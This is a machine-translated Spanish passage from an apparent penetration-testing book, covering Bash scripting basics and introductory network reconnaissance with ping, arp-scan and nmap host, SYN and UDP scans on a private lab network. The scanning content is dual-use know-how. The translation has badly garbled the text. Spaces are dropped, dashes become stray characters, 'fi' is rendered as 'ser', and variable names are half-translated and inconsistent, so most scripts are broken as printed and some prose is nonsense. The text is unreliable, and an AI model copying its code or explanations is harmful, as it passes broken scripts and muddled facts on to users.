un archivo var.sh (los archivos Bashscript terminarán en .sh ), y dentro del archivo, ingresará lo
siguiente:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
#!/bin/bash
#Programa simple con una variable
ROUTERIP="10.0.0.1"
printf"LadirecciónIPdelrouter:$ROUTERIP\n"
Expliquemos su primer archivo Bashscript:
#!/bin/bash se llama Bashshebang ; necesitamos incluirlo en la parte superior para
decirle a KaliLinux qué intérprete usar para analizar el archivo de script (usaremos el
mismo concepto en el Capítulo 18 , "Automatización de Pentest con Python", con el
lenguaje de programación Python). El # se usa en la segunda línea para indicar que es
un comentario (un comentario es una directiva que el creador dejará dentro del código
fuente/script para una referencia posterior).
El nombre de la variable se llama ROUTERIP
, y su valor es 10.0.0.1.
Finalmente, estamos imprimiendo el valor en la pantalla de salida usando la
función printf .
Para ejecutarlo, asegúrese de otorgarle los permisos correctos primero (consulte el
siguiente resultado para ver qué sucede si no lo hace). Dado que estamos dentro del mismo
directorio ( /root ), usaremos ./var.sh para ejecutarlo:
root @ kali: ~ #. / var.sh bash: ./
var.sh: Permiso denegado root @ kali: ~ # chmod
+ xvar.sh root @ kali: ~ #. / var.sh
TherouterIPaddress: 10.0.0.1
¡Felicitaciones, acaba de crear su primer script de Bash! Digamos que queremos que
este script se ejecute automáticamente sin especificar su ruta en ninguna parte del sistema .
Todo eso, debemos agregarlo a la variable $ PATH. En nuestro caso, agregaremos / optaremos por las
variables $ PATH para que podamos guardar nuestros scripts personalizados en este directorio .
Primero, abra el archivo .bashrc usando cualquier editor de texto. Una vez que el archivo esté cargado,
desplácese hasta la parte inferior y agregue la línea resaltada en la Figura 2.2 .
Figura 2.2 ExportConfig
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Los cambios agregarán /opt a la variable $PATH . En esta etapa, guarde el
archivo y cierre todas las sesiones de la terminal. Vuelva a abrir la ventana de
la terminal y copie el archivo de secuencia de comandos en la carpeta / opt .
root @ kali: ~ # cpvar.sh / opt / root kali:
# cd / opt root @ kali: / opt # ls-la | grep
"var.sh"
-rwxr-xr-x1rootrootroot @ kali: /
opt#var.sh TherouterIPAddress:
10.0.0.1
110Sep2811:24var.sh
ComandosVariable
A veces, es posible que desee ejecutar comandos y guardar su salida en
una variable. La mayoría de las veces, el objetivo detrás de esto es manipular
el contenido de la salida del comando. Aquí hay un comando simple que
ejecuta el comando ls y filtra los nombres de archivo que contienen la palabra
simple usando el comando grep .
#!/bin/bash
LS_CMD=$(ls|grep'simple')
printf"$LS_CMD\n"
Estos son los resultados de la ejecución del script:
root@kali:/opt#simplels.sh
simpleadd.sh simplels.sh
Parámetros de secuencia de comandos
A veces, necesitará proporcionar parámetros a su script Bash. Tendrá que
separar cada parámetro con un espacio, y luego podrá manipular esos parámetros
dentro del script Bash. Vamos a crear una calculadora simple ( simpleadd.sh )
que suma dos números:
#!/bin/bash
#Calculadora simple que suma 2 números
Canal de Telegram : @IRFaraExam
Machine Translated by Google
# Almacenarelprimerparámetroinnum1variable
NÚM1=$1
# Almacenarelsegundoparámetroinnum2variable
NÚM2=$2
#Almacenarlosresultadosadicionalesenlavariabletotal
TOTAL=$(($NUM1+$NUM2))
echo'#######################'
printf"%s%d\n""Thetotalis="$TOTAL echo'###### ##################'
Puede ver en la secuencia de comandos anterior que accedimos al primer parámetro
usando la sintaxis de $1 y al segundo parámetro usando $2 (puede agregar tantos
parámetros como desee).
Agreguemos dos números usando nuestro nuevo archivo de secuencia de comandos (tome nota de que estoy
almacenando mis secuencias de comandos en la carpeta opt a partir de ahora):
root@kali:/opt#simpleadd.sh52 #######################
El total es=7 ############# ###########
Existe una limitación en el script anterior; solo puede agregar dos números. ¿Qué sucede
si desea tener la flexibilidad para agregar de dos a cinco números? En este caso, podemos
usar la funcionalidad de parámetro predeterminada.
#!/bin/bash
#Calculadora simple que suma hasta 5 números
# Almacenarelprimerparámetroinnum1variable
NÚM1=${1:-0}
# Almacenarelsegundoparámetroinnum2variable
NÚM2=${2:-0}
# Almacenareltercerparámetroinnum3variable
NÚM3 = $ {3: -0}
# Almacenarelcuartoparámetroinnum4variable
NÚM4=${4:-0}
# Almacenar la variable del quinto parámetro innum5
NUM5=${5:-0}
#Almacenarlosresultadosadicionalesenlavariabletotal
TOTAL=$(($NUM1+$NUM2+$NUM3+$NUM4+$NUM5))
Canal de Telegram : @IRFaraExam
Machine Translated by Google
echo'#######################'
printf"%s%d\n""Thetotalis="$TOTAL echo'######
##################'
Para entender cómo funciona, veamos la variable NUM1 como ejemplo (el mismo
concepto se aplica a las cinco variables). Le diremos que lea el primer parámetro
{1 de la ventana de la terminal, y si no lo proporciona el usuario, luego configúrelo
en cero, como en :ÿ0} .
Usando las variables predeterminadas, no estamos limitados a agregar cinco números; de
ahora en adelante, podemos agregar tantos números como queramos, pero el máximo es
cinco (en el siguiente ejemplo, agregaremos tres dígitos):
root@kali:~#simpleadd.sh244
#######################
El total es = 10
#######################
PROPINA
Si desea conocer la cantidad de parámetros proporcionados en el script,
puede usar $ # para obtener el total.
Si agrega la siguiente línea después de la línea printf :
printf"%s%d\n""Elnúmerototaldeparámetros="$#
deberías ver lo siguiente en la ventana de la terminal:
root@kali:~#simpleadd.sh244
#######################
El total es = 10
El número total de parámetros = 3
#######################
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Entrada del usuario
Otra forma de interactuar con la entrada suministrada desde el script de shell es usar la función de
lectura. De nuevo, la mejor manera de explicar esto es a través de ejemplos. Le pediremos al usuario
que ingrese su nombre y apellido, después de lo cual imprimiremos el nombre completo en la pantalla:
#!/bin/bash
read-p"Por favor, introduzca su nombre:"FIRSTNAME read-p"Por
favor, introduzca su apellido:"APELLIDO
printf"Su nombre completo es:$FIRSTNAME$LASTNAME\n"
Para ejecutarlo, solo ingresamos el nombre del script (no necesitamos proporcionar ningún
parámetro como lo hicimos antes). Una vez que ingresamos el nombre del script, se nos
solicitarán los mensajes definidos en el script anterior:
root@kali:~#nameprint.sh Ingrese
su nombre: Gus Ingrese su apellido: Khawaja
Su nombre completo es: Gus Khawaja
Funciones
Las funciones están lejos de organizar su secuencia de comandos de Bash en secciones ontológicas
en lugar de tener una estructura no organizada (los programadores llaman código spaghetti).
Tomemos el programa de calculadora anterior y reorganicémoslo (refactorícelo) para que se vea
mejor.
Este Bashscript (en la Figura 2.3 ) se divide en tres secciones:
En la primera sección, creamos todas las variables globales. Las variables globales son
accesibles dentro de cualquier función que cree. Por ejemplo, podemos usar todas las NUM
variables declaradas en el ejemplo dentro de la función de agregar .
Luego, construimos las funciones dividiendo nuestras aplicaciones en secciones lógicas.
La función print_custom () simplemente imprimirá cualquier texto que le demos. Estamos
usando el $1 para acceder al valor del parámetro pasado a esta función (que es la cadena
CALCULATOR ).
Finalmente, llamamos a cada función secuencialmente (cada una por su nombre). Imprime el
encabezado, agrega los números y, finalmente, imprime los resultados.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 2.3 Secciones de script
Condiciones y bucles
Ahora que conoce los conceptos básicos de Bashscripting, podemos introducir
técnicas más avanzadas. Cuando desarrolle programas en la mayoría de los
lenguajes de programación (p. ej., PHP, Python, C, C++, C#, etc.), incluido
Bashscripting, encontrará condiciones ( si declaraciones) y bucles, como se muestra en la Figura 2.4 .
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 2.4 Condiciones y bucles
Condiciones
Una declaración if toma el siguiente patrón:
si[[comparación]] entonces
Cierto, hacer algo más
Falso, Hacer algo más fi
Si ha estado prestando atención, sabe que la mejor manera de explicar este
patrón es a través de ejemplos. Desarrollemos un programa que haga ping a un
host usando Nmap, y mostraremos el estado de la máquina dependiendo de la condición
(el host está activo o inactivo):
#!/bin/bash
#PingahostusandoNmap
Canal de Telegram : @IRFaraExam
Machine Translated by Google
###Variables globales###
#StoreIPaddress
DIRECCIÓN_IP=$1
functionping_host(){ ping_cmd=$
(nmap-sn$IP_ADDRESS|grep'Hostisup'|cut-d'('-f1) }
functionprint_status(){ if[[-z$ping_cmd]]
luego echo'Hostisdown' else
echo'Hostisup' fi }
ping_host
estado_de_impresión
El comando nmap devuelve un texto de cadena vacío si el host está caído
o devuelve el valor “Hostis up” si está respondiendo. (Intente ejecutar el
comando nmap completo en la ventana de su terminal para visualizar la
diferencia. Si es así , reemplace $IP_ADDRESS con una dirección IP
real). En la condición if , la opción ÿz verificará si la cadena está vacía;
root@kali:~#simpleping.sh10.0.0.11 Hostisdown
root@kali:~#simpleping.sh10.0.0.1 Hostisup
¿Qué sucede con otras declaraciones de condición? De hecho, puede comparar números,
cadenas o archivos, como se muestra en las tablas 2.1, 2.2 y 2.3.
Tabla 2.1 Condiciones numéricas
Igual
[[x-eqy]]
Notequal [[x-ney]]
Menos de [[xÿlty] ]
Mayor que [[xÿgty]]
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Tabla 2.2 Condiciones de cadena
Igual
[[str1==str2]]
No es igual
[[str1!=str2]]
Cuerda vacía
[[ÿzstr]]
Notemptystring [[ÿnstr]]
Tabla 2.3 Condiciones de archivo/directorio
¿El archivo existe?
[[ÿun nombre de archivo]]
¿Existe el directorio? [[ÿddirectoryname]]
¿Archivo legible?
[[ÿrnombre de archivo]]
¿Archivo grabable?
[[ÿwnombre de archivo]]
¿Archivo ejecutable? [[ÿxnombre de archivo]]
¿Archivo vacío? [[ÿnombre de archivo]]
Bucles
Puede escribir bucles de dos maneras diferentes: utilizando un bucle while o un bucle for .
Comencemos con un ciclo while que toma la siguiente estructura:
while[[condición]] hacer algo
hecho
La mejor manera de explicar un bucle es a través de un contador del 1 al 10. Desarrollaremos un
programa que muestre una barra de progreso:
#!/bin/bash
#Progressbarwithawhileloop
#Encimera
CONTADOR=1
#Bar
BAR='##########'
Canal de Telegram : @IRFaraExam
Machine Translated by Google
mientras [[$COUNTER-lt11]] hacer
#Imprime el progreso de la barra a partir del índice cero echo-ne"\r$
{BAR:0:COUNTER}"
# Dormir por 1 segundo
dormir 1
#Incrementcounter
CONTADOR=$(($CONTADOR+1))
hecho
Tenga en cuenta que la condición ( [[$COUNTERÿ lt11 ]] ) en el bucle while sigue las
mismas reglas que la condición if . Dado que queremos que el contador termine en 10,
. contador,
usaremos la siguiente fórmula matemática: contador <11 Cada
vez que se
mostrará
incremente
el el
progreso.
Por otro lado, el bucle for tomará el siguiente patrón:
para…en[Listofitems] hacer algo
hecho
Tomaremos el mismo ejemplo que antes, pero lo usaremos con un bucle for . Se dará
cuenta de que el bucle for es más flexible de implementar que el bucle while .
(Honestamente, rara vez uso el ciclo while.) Además, no necesitará incrementar su
contador de índice; se hace automáticamente para usted:
#!/bin/bash
#ProgressbarwithaForLoop
#Bar
BAR='##########'
for COUNTERin{1..10} do
#Printthebarprogressstartingfromthezeroindex echo-ne"\r${BAR:0:$COUNTER}"
# Sleepfor1second sleep1
hecho
Iteración de archivos
Esto es lo que debe hacer para simplemente leer un archivo de texto en Bash usando el bucle for :
Canal de Telegram : @IRFaraExam
Machine Translated by Google
forlinein$(catfilename) hacer algo hecho
En el siguiente ejemplo, guardaremos una lista de direcciones IP en un archivo
llamado ips.txt. Luego, reutilizaremos el programa Nmapping (que creamos
previamente) para comprobar si todas las direcciones IP están activas o inactivas.
Además, comprobaremos el nombre DNS de cada dirección IP:
#!/bin/bash
#Ping&getDNSnamefromalistofIPsavedinafile
#Solicitar al usuario que introduzca un nombre de archivo y su ruta. read-p"Ingrese
las direcciones IPnombre del archivo/ruta:"FILE_PATH_NAME
functioncheck_host()
{ #ifnottheIPaddressvalueisvacyif[[-n$IP_ADDRESS]] entonces
ping_cmd=$(nmap-sn$DIRECCIÓN_IP|grep'Hostisup'
|cortar-d'('-f1)
eco'-----------------------------------------------'
si[[-z$ping_cmd]] entonces
printf"$IP_ADDRESSEstá caído\n"
demás
printf"$IP_ADDRESSisup\n" nombre_dns
ser
ser
}
functiondns_name(){ dns_name=$
(host$IP_ADDRESS) printf"$dns_name\n"
}
#Iterar a través de las direcciones IP dentro del archivo para ipin$
(cat$FILE_PATH_NAME) do
IP_ADDRESS=$ip
check_host
hecho
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Si ha seguido detenidamente este capítulo, debería poder entender todo lo que ve en el
código anterior. La única diferencia en este programa es que utilicé el espacio entre tabuladores
para que la secuencia de comandos se viera mejor. El ejemplo anterior cubre la mayor parte de lo
que hemos hecho hasta ahora, incluido lo siguiente:
Entrada del usuario
Declaringvariables
Uso de funciones
Uso de condiciones if
Repeticiones
Imprimiendo en la pantalla
Resumen
Espero que haya practicado todos los ejercicios de este capítulo, especialmente si es nuevo en
la programación. Muchos de los conceptos mencionados se aplicarán a muchos lenguajes de
programación, así que considere los ejercicios como una oportunidad para aprender los conceptos
básicos.
Personalmente, uso secuencias de comandos de Bash para escenarios pequeños y rápidos.
Si desea crear aplicaciones más complejas, puede intentar hacerlo en Python.
¡No se preocupe! Aprenderá sobre Python al final de este libro para que pueda abordar
cualquier situación que desee en su carrera como probador de penetración.
Finalmente, este capítulo abarcó mucha información acerca de Bash scripting. Sin embargo, hay
mucha más información de la que se encuentra en este capítulo. En la práctica, utilizo motores de
búsqueda en Internet para encontrar rápidamente referencias de Bash scripting. De hecho, no es
necesario que memorice todo lo que aprendió en este capítulo.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
CAPÍTULO 3
RedHostsEscaneo
Este capítulo es su primer paso en el flujo de trabajo de las pruebas de penetración. Tanto si
es un lector avanzado como si es un novato, este capítulo le ayudará a realizar el escaneo de
su red con éxito.
Este capítulo cubre lo siguiente: Los
fundamentos de las redes
Identificación de hosts activos
Escaneo de puertos
Enumeración de servicios
Huellas dactilares del sistema operativo
Nmapscriptingengine
Búsqueda de subdominios
Conceptos básicos de las redes
Antes de comenzar a escanear e identificar hosts, primero debe comprender los conceptos
básicos de las redes. Por ejemplo, ¿por qué usamos 10.0.0.1/16? ¿O qué es un protocolo de
enlace TCP? ¡Comencemos!
Protocolos de red
Los siguientes son los dos protocolos de red principales que debe tener en cuenta para escanear
una red con éxito.
TCP
El Protocolo de Control de Transmisión (TCP) es el principal utilizado en la infraestructura
de red. Cada servidor de aplicaciones (HTTP, FTP, SMTP, etc.) utiliza este protocolo para
conectar correctamente al cliente con el servidor.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
TCP utiliza un concepto denominado protocolo de enlace de tres vías para establecer
una conexión de red. Primero, para iniciar una sesión TCP, el cliente envía un paquete
SYN (sincronizar) al servidor. El servidor recibe el SYN y responde al cliente con un paquete de
sincronización/reconocimiento (SYN/ACK).
Por ejemplo, la Figura 3.1 muestra un escenario del Sr. Bob navegando por Internet y
buscando en Google (el servidor web) usando su navegador (cliente) visitando
www.google.com .
Figura 3.1 Apretón de manos TCP
Es esencial comprender el concepto del protocolo de enlace TCP. Los escáneres de red como
Nmap lo utilizan para identificar hosts activos, puertos abiertos y mucho más (aprenderá más
sobre esto en las próximas secciones).
Un sniffer de red como Wireshark es una buena herramienta para aprender cómo funcionan las
redes informáticas. ¿Por qué? Porque un sniffer de red escuchará todo el tráfico entrante y
saliente a través de la tarjeta de red.
Para iniciar Wireshark, simplemente escriba su nombre ( $wireshark ) en la ventana del terminal.
A continuación, deberá seleccionar la interfaz de red; es Ethernet eth0 o En este
. caso, estamos usando eth0 y ,luego
wlan0haremos clic en Iniciar WiFi
en la esquina superior izquierda de la pantalla (consulte la Figura 3.2).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 3.2 Selección de interfaz de red Wireshark
La figura 3.3 se toma de WiresharkonmyKali (10.0.0.20), que aparece cuando
abro mi navegador y voy a Google.com . Si mira de cerca, puede ver los
paquetes [SYN], [SYNACK] y [ACK].
Figura 3.3 Captura de Wireshark
UDP
El Protocolo de datos de usuario (UDP) es una conexión de red sin conexión .
A diferencia de la conexión TCP, el cliente y el servidor UDP no garantizarán
la transmisión de un paquete, por lo que no hay protocolo de enlace de tres
vías en UDP.
Otros protocolos de red
TCP y UP son los protocolos de red más populares, pero otros tipos de
Canal de Telegram : @IRFaraExam
Machine Translated by Google
los protocolos existen también. En esta sección, cubriremos el resto de ellos.
ICMP
El protocolo de mensajes de control de Internet (ICMP) se usa para probar la conectividad.
La herramienta Ping usa este protocolo para probar si una red host está activa y
funcionando ( traceroute también lo usa de manera predeterminada).
root@kali:~#ping10.0.0.1-c3
PING10.0.0.1(10.0.0.1)56(84)bytesdedatos. 64 bytes de
10.0.0.1: icmp_seq = 1ttl = 64 tiempo = 0,706 ms 64 bytes de 10.0.0.1:
icmp_seq = 2ttl = 64 tiempo = 0,725 ms
---10.0.0.1estadísticas de ping--- 3 paquetes
transmitidos, 3 recibidos, 0 % de pérdida de paquetes, tiempo 2033 ms rttmin/avg/max/
mdev=0.506/0.645/0.725/0.099ms
La figura 3.4 muestra Wireshark con el filtro icmp aplicado:
Figura 3.4 Filtro ICMP de Wireshark
ARP
El protocolo de resolución de direcciones (ARP) es un mecanismo que asigna direcciones
IPv4 a direcciones MAC. Este concepto es esencial para que funcione una red interna.
Los enrutadores se conectan entre sí a través de Internet a través de direcciones IP (capa
3), pero una vez que el paquete está dentro de su red, se usará una tabla ARP usando
direcciones MAC (capa 2). Puede usar el comando arpÿa para obtener la lista de elementos
dentro de la tabla ARP (guardada localmente en su host local):
root@kali:~#arp-a ?
(10.0.0.10)at70:5a:0f:f6:fc:3a[éter]oneth0
USGPRO(10.0.0.1)atb4:fb:e4:2f:04:3d[éter] oneth0
Las capas se refieren a las capas OSI mostradas anteriormente (consulte la Tabla
3.1). La interconexión de sistema abierto (OSI) separa una conexión de red en
Canal de Telegram : @IRFaraExam
Machine Translated by Google
diferentescapas.
Tabla 3.1 Capas OSI
NÚMERO NOMBRE PROTOCOLO EJEMPLOS DISPOSITIVO EJEMPLOS
1
Enlace de
2
datos físico MAC, VLAN, etc.
Interruptores
3
Red IPv4/v6ICMP, etc.
Enrutadores
4
Transporte TCPUDP
N/A
5
Sesión NA
N/A
6
Presentación NA
N/A
7
Aplicación FTP, HTTP, Telnet, etc.
Cortafuegos, proxies, etc.
Ethernet, etc.
cabos
Dirección IP
El Protocolo de Internet (IP) es uno de los principales pilares de las redes para que
las computadoras pueden comunicarse entre sí. Las direcciones IP se dividen en dos
versiones:IPv4 y IPv6.
IPv4
IPv4 es de 32 bits, pero siempre se presenta en formato decimal, como 192.168.0.1,
que es igual a 11000000.10101000.00000000.00000001. Es más fácil de escribir
itinadecimalformatinsteadofinbinary, ¿verdad?
Las direcciones IP se dividen en públicas, que se utilizan en Internet, y privadas,
que se utilizan en una intranet. Su dirección IP pública probablemente se le suministró
automáticamente por su proveedor de servicios de Internet (ISP) a menos que haya comprado una
dirección IP pública.
Estos son los intervalos de direcciones IPv4 privadas:
10.0.0.0 a 10.255.255.255 (10.xxx), con alrededor de 16 millones de direcciones
172.16.0.0 a 172.31.255.255 (172.16.x.x a 172.31.xx), con aproximadamente 1
millones de direcciones
192.168.0.0 a 192.168.255.255 (192.168.xx), con unas 65.000 direcciones
SubredesyCIDR
El rol de la subred es dividir una red en rangos más pequeños (red
Canal de Telegram : @IRFaraExam
Machine Translated by Google
segmentación). Una subred identificará el número de hosts dentro de un rango de IP.
ejemplo, 192.168.0.1 podría tener una máscara de subred 255.255.255.0, lo que significa
que podemos usar 254 hosts dentro de este rango de IP. Enrutamiento entre dominios sin clases
(CIDR) se creó para simplificar las máscaras de subred. Si tomamos el ejemplo anterior,
podemos escribir la subred/24 (el CID equivalente) en lugar de uno largo. Mesa
3.2 enumera las subredes y las máscaras de red que puede usar como referencia.
Tabla 3.2 Subredes y CIDR
MÁSCARA DE RED CIDR #OFHOSTS
/30
255.255.255.252 2
/29
255.255.255.248 6
/28
255.255.255.240 14
/27
255.255.255.224 30
/26
255.255.255.192 62
/25
255.255.255.128 126
/24 255.255.255.0 254
/23
255.255.254.0 510
/22
255.255.252.0 1.022
/21
255.255.248.0 2.046
/20
255.255.240.0 4.094
/19
255.255.224.0 8.190
/18
255.255.192.0 16.382
/17
255.255.128.0 32.766
/dieciséis
255.255.0.0
65,534
/15
255.254.0.0
131,070
/14 255.252.0.0
262,142
/13
255.248.0.0
524,286
/12
255.240.0.0
1,048,574
/11
255.224.0.0
2,097,150
/10
255.192.0.0
4,194,302
/9
255.128.0.0
8,288,606
Canal de Telegram : @IRFaraExam
Machine Translated by Google
/8
255.0.0.0
16,777,216
IPv6
Hasta ahora, estamos rediseñando IPv4 en gran medida para poner en funcionamiento la infraestructura de red.
Ha habido algunos intentos de cambiar de IPv4 a IPv6, ya que el mundo se quedará sin direcciones
IPv4 algún día. Debe comprender al menos cómo funciona IPv6 en la práctica.
El formato IPv6 es de 128 bits de caracteres hexadecimales. Este es un ejemplo de IPv6 que
vale trillones de palabras:
fff0:0000:eeee:0000:0000:0000:fe77:03aa
Usaremos este ejemplo para ver cómo funciona el formato IPv6.
1. Para seguir las especificaciones de IPv6 primero, necesitamos eliminar los ceros iniciales.
Antes: fff0:0000:eeee:0000:0000:0000:fe77:03aa
Después:fff0:0:eeee:0:0:0:fe77:3aa
2. Comprimir la serie de ceros (en nuestro caso, hay tres series de ceros)
y reemplácelos con ::.
Antes: fff0:0:eeee:0:0:0:fe77:3aa
Después:fff0:0:eeee::fe77:3aa
Tenga en cuenta que en IPv6, puede comprimir una serie de ceros solo una vez.
Números de puerto
Los números de puerto y las direcciones IP son como hermanos y hermanas. Sin un número
de puerto, un paquete de red nunca podrá llegar a su destino. Un número de puerto es como
una dirección cívica.
Imagine que está utilizando su navegador para llegar a www.google.com .
Su paquete
necesitará la dirección IP del host del servidor web y el número de puerto, que de manera
predeterminada es 443 para HTTPS. En el mismo servidor (con la misma dirección IP), Google
podría alojar otros servicios como FTP, por ejemplo; entonces el paquete usará el puerto 21 para
llegar a él.
La Tabla 3.3 enumera los números de puerto predeterminados más comunes que necesitará
saber mientras escanea una red.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Tabla 3.3 Números de puertos comunes
NOMBRE DE PROTOCOLO N.° DE PUERTO NOMBRE DE PROTOCOLO N.° DE PUERTO
FTP
TCP21
LDAP sobre SSL
TCP636
SSH/SCP
TCP22
FTP sobre SSL
TCP989–990
Telnet
TCP23
IMAP sobre SSL
TCP993
SMTP
TCP25
POP3 sobre SSL
TCP995
DNSQuery
UDP53
MSÿSQL
TCP1433
Transferencia de zona DNS TCP53
NFS
TCP2049
DHCP
DockerDaemon
TCP2375
UDP67
UDP68
TFTP
UDP69
base de datos Oracle
TCP2483–2484
HTTP
TCP80
mysql
TCP3306
Kerberos
UDP88
PDR
TCP3389
POP3
TCP110 VNC
SNMP
UDP161
TCP5500
PC en cualquier lugar
TCP5631
IRC
TCP6665–6669
IRCSSL
TCP6679
UDP162
NetBIOS
TCP/UDP137
TCP/UDP138
TCP/UDP139
IMAP
TCP143
TCP6697
LDAP
TCP389
BitTorrent
TCP6881–6999
HTTPS (TLS)
TCP443
Impresoras
TCP9100
SMTPoverSSL
TCP465
WebDAV
TCP9800
iniciar sesión
TCP513
Webmin
10000
Esta tabla enumera los números de puerto más populares que personalmente creo que
mustknow.Para obtener una lista completa, consulteWikipedia en
en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers .
Escaneo de red
Ahora que comprende los conceptos básicos de la creación de redes, es hora de comenzar la acción.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
En las próximas secciones, aprenderá a identificar hosts de destino en el
la red.
IdentificandoLiveHosts
Hay varias formas de determinar si un host está activo y ejecutándose en el
la red.
Silbido
Puede usar Ping para verificar rápidamente la conexión de red.
¿trabajar bajo el capó?
Cuando ejecuta el comando ping , su Kalihost enviará un ICMPecho
solicitud al destino, y luego, el objetivo responderá con un ICMP
echoreplypacket. Por lo tanto, puede decir que el objetivo está vivo. El comando ping
es útil para los administradores del sistema, pero somos la élite, ¿verdad?
por qué debe usar Nmap para buscar hosts en vivo. Finalmente, debe tener en cuenta que
algunos administradores del sistema cerrarán el ICMP en el nivel del firewall para bloquear
los piratas informáticos comprueben la conectividad de algunos servidores.
ARP
AddressResolutionProtocol es una utilidad fantástica que mapea direcciones IP en
direcciones MAC físicas en una red local.
Ahora, podemos aprovechar el contenido de la tabla ARP para enumerar todos los hosts en el
misma red utilizando el comando arpÿscan en Kali :
raíz@kali:~#arp-scan10.0.0.1/24
Interfaz: eth0, tipo: EN10MB, MAC: 00: 0c: 29:40: e7: a6, IPv4: 10.0.0.20
ADVERTENCIA:hostpartof10.0.0.1/24isnon-zero
Comenzando arp-scan 1.9.7 con 256 hosts (https://
github.com/royhills/arp-scan)
Ubiquiti Networks Inc.
Ubiquiti Networks Inc.
Ubiquiti Networks Inc.
Hewlett Packard
SynologyIncorporado
Ubiquiti Networks Inc.
b4:fb:e4:2f:04:3d10.0.0.1fc:ec:da:d4:d5:9910.0.0.210.0.0.5b4:fb:e4:1b:c4:d270:5a:0f:f6:fc:
3a10.0.0.1010.0.0
Apple Inc.
Nmap
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Ha llegado el momento de mostrarle mi herramienta favorita que utilizo para identificar
hosts activos: Nmap. Deberá utilizar las siguientes opciones de comando para realizar el trabajo:
$nmap-sn[Dirección IP/Rango]
Para ayudarlo a memorizarlo, piense en la opción ÿs como Sam y N es Nanny. El significado real
de estas áreas de opciones es el siguiente:
n es para No.
es para Escanear.
Es por eso que el nombre de esta opción es No Port Scan. Algunas personas lo llaman Ping
Scan, pero no lo mezclen con la herramienta ICMPPing de la que hablamos anteriormente en este
capítulo. Dicho esto, veamos por qué esta opción es mágica. Para identificar hosts activos, Nmap
intentará hacer lo siguiente:
1. Enviará una solicitud de eco ICMP y Nmap no se rendirá si ICMP es
obstruido.
2. Además, enviará una solicitud de marca de tiempo ICMP.
3. Enviará un paquete ACK al puerto 80 y un paquete SYN al puerto 443.
4. Finalmente, enviará una solicitud AR.
Es tan poderoso, ¿verdad? Es importante entender que necesitará ser root (o miembro del grupo
sudo ) en su Kalibox, o sus opciones serán limitadas, y no podrá ejecutar todas estas
funcionalidades. Pongamos a Sam y Nanny en acción:
root@kali:~#nmap-sn10.0.0.1/24 A partir de
Nmap7.80(https://nmap.org)en2020-10-0509:25EDT NmapscanreportforUSGPRO(10.0.0.1)
Hostsup (0.00036 latencia).
Dirección MAC: B4: FB: E4: 2F: 04: 3D (Ubiquiti Networks)
Nmapscanreportforunifi(10.0.0.2)
Hostsup (0.00027 latencia).
Dirección MAC: FC: EC: DA: D4: D5: 99 (UbiquitiNetworks)
Nmapscan informa para 10.0.0.5 host
está activo (latencia de 0,0024).
Dirección MAC: B4: FB: E4: 1B: C4: D2 (Ubiquiti Networks)
Nmapscan informa para 10.0.0.10 Hostsup
(0.0081 latencia).
Dirección MAC: 70: 5A: 0F: F6: FC: 3A (HewlettPackard)
Nmapscan informa para 10.0.0.50 Host
(0.00066 latencia).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Dirección MAC: 00: 11: 32: 94: 25: 4C (Synology Incorporated)
Escaneo de puertos y enumeración de servicios
Una de las tareas que se le pedirá durante el análisis de red es buscar los puertos
abiertos en cada host. ¿Por qué? Supongamos que desea conocer los servidores web
en la red de área local (LAN); el análisis de puertos le permitirá obtener esta información
fácilmente. Veamos cómo Nmap maneja esta tarea como un jefe.
TCPPortSYNScan
Hay muchas opciones en Nmap para ejecutar un escaneo de puertos, pero la que yo siempre
uso para TCP es el escaneo SYN. De hecho, Nmap ejecutará este tipo de escaneo de puertos de
manera predeterminada:
$nmap-sS[Dirección IP/Rango]
Para memorizarlo, puede correlacionar la opción ÿs con Sam y Samantha. Piense
siempre en Sam y Samantha cuando desee ejecutar un escaneo de puertos . Hice
los términos SAMÿSamantha para que los puedas memorizar fácilmente.
Permítame explicarle cómo funciona el escaneo SYN en Nmap. El escáner,
cuando se suministra con la opción sS , enviará una solicitud SYN al servidor, y si
se recibe un SYN / ACK en respuesta, mostrará que el puerto está abierto.
Y si el escáner no recibió un SYN/ACK, está cerrado o filtrado . Para el registro,
filtrado significa que un firewall lo está protegiendo:
root@kali:~#nmap-sS10.0.0.1 Iniciando
Nmap7.80(https://nmap.org)en2020-10-0509:27EDT NmapscanreportforUSGPRO(10.0.0.1)
Hostsup (0.00051 latencia).
No se muestra: 996 puertos cerrados
PORTSTATESERVICE 22/tcpopenssh
53/tcpopendomain 80/tcpopenhttp
443/tcpopenhttps
MACAddress:B4:FB:E4:2F:04:3D(UbiquitiNetworks)
Nmapdone: 1 dirección IP (1 host up) escaneada en 0,25 segundos
UDP
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Ahora, ¿qué pasa con el escaneo de puertos UDP? Para usar el escaneo de puertos UDP en
Nmap, debe agregar la opción sU :
$nmap-sU[Dirección IP/Rango]
Es importante tener en cuenta que UDP es lento debido a su naturaleza sin conexión. Siempre
podemos usar la opción de temporización T5 para ajustar y hacerlo más rápido. Los cortafuegos
pueden bloquear fácilmente T5 en una dirección de Internet.
$nmap-sU-T5[Dirección IP/Rango]
Por lo tanto, para que el escáner UDP identifique si el puerto está abierto o cerrado, enviará un
paquete UDP y esperará una respuesta del destino. Si Nmap obtiene una respuesta o no,
probablemente el puerto esté abierto.
Por otro lado, si el escáner recibe un error ICMP, entonces el puerto se cierra o se filtra:
root@kali:~#nmap-sU-T510.0.0.1 A partir de
Nmap7.80(https://nmap.org)a las 2020-10-0509:28EDT Advertencia:10.0.0.1 cediendo en
el puerto porque hay un límite de transmisión (2).
NmapscanreportforUSGPRO(10.0.0.1)
Hostsup (0.0014 latencia).
No se muestra: 875 abiertos | puertos filtrados, 123 puertos cerrados
PORTSTATESERVICE
MACAddress:B4:FB:E4:2F:04:3D(UbiquitiNetworks)
53/udpopendomain 123/udpopenntp
